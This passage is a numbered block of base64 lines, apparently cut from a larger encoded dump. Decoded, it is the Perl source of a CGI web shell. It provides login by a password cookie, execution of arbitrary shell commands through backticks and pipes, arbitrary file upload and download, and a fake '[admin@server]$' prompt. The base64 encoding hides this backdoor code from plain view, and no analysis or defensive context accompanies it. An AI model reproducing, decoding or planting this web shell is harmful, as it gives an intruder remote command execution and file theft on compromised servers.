1140PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3Jp
1141cHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFu
1142ZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
1143JFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1p
1144dCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0t
1145LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1146LS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVz
1147ZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1148LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZp
1149bGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDog
1150IlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxj
1151b2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlv
1152biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
1153PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQg
1154ZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBz
1155aXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i
1156QmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
1157LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1158LS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2Fk
1159IGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1160LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0K
1161ew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVy
1162TmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5h
1163bWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9u
1164PSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxp
1165bnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZu
1166YnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpP
1167dmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8
1168aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIg
1169bmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9
1170ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0t
1171LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1172LS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91
1173dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3Jp
1174cHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBp
1175cw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0t
1176LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1177LS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0K
1178CXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFu
1179ZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25k
1180KHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsN
1181CgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0t
1182LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1183LS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQg
1184ZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2Vy
1185IHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFu
1186ZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5
1187IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRp
1188bWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hh
1189bmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRo
1190ZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0t
1191LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1192LS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9e
1193XHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBj
1194aGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNv
1195bW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJ
1196JENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4k
1197Q21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VI
1198ZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxA
1199JFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7
1200DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsN
1201CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
1202RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQg
1203IiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnRE
1204aXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJ
1205ew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5k
1206VGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBv
1207dXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAi
1208IHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFu
1209ZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRf
1210XG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29t
1211bWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdp
1212bk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlBy
1213aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0t
1214LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1215LS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQg
1216Y29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUg
1217c3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMg
1218ZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1l
1219bnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2Fk
1220ZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1221LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsN
1222Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBl
1223eGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8g
1224dGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJI
1225KiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2Fk
1226JmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlW
1227PVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmlu
1228dFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxl
1229ICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0
1230b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5E
1231DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0N
1232CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7
1233DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50Rmls
1234ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0t
1235LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1236LS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJv
1237bSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2Fu
1238IGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmll
1239ZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0t
1240LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1241LQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlm
1242KG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7
1243DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNU
1244RE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmls
1245ZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQt
1246VHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6
1247ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7
1248IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShT
1249RU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQ
1250YWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAk
1251ISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9
1252DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1253LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxl
1254ZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0K
1255IyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUg
1256Y2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0
1257aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlz
1258IHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1259LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
1260dWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBm
1261aWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e
1262XFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBw
1263YXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0K
1264CWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFy
1265Z2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAk
1266UGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug
1267aGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZp
1268bGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsN
1269CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0t
1270LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1271LS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIg
1272d2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwg
1273aXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxl
1274LCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0t
1275LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1276LS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwg
1277cHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7
1278DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQ
1279cmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0K
1280DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFu
1281c2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVh
1282bGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXRO
1283YW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJh
1284bnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQx
1285Ow0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0
1286aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJ
1287aWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmlu
1288dCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgll
1289bHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRU
1290YXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJ
1291cHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsN
1292CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXBy
1293aW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlw
1294cmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1h
1295bmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0t
1296LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1297LS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRz
1298IHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQs
1299IGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmls
1300ZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlk
1301ZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0K
1302Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1303LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmls
1304ZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5z
1305ZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50Rmls
1306ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkj
1307IGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJ
1308aWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5U
1309ICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJ
1310JFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2
1311ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikg
1312PX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsN
1313Cgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0K
1314CXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhh
1315dmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1Bh
1316Z2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1317LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWlu
1318IFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1319LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
1320CiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NS
1321SVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBh
1322c3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmls
1323ZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9
1324Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNp
1325ZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29t
1326bWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1
1327cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZElu
1328ID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJs
1329b2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJm
1330b3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMg
1331dG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24g
1332ZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZp
1333bGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3du
1334bG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9n
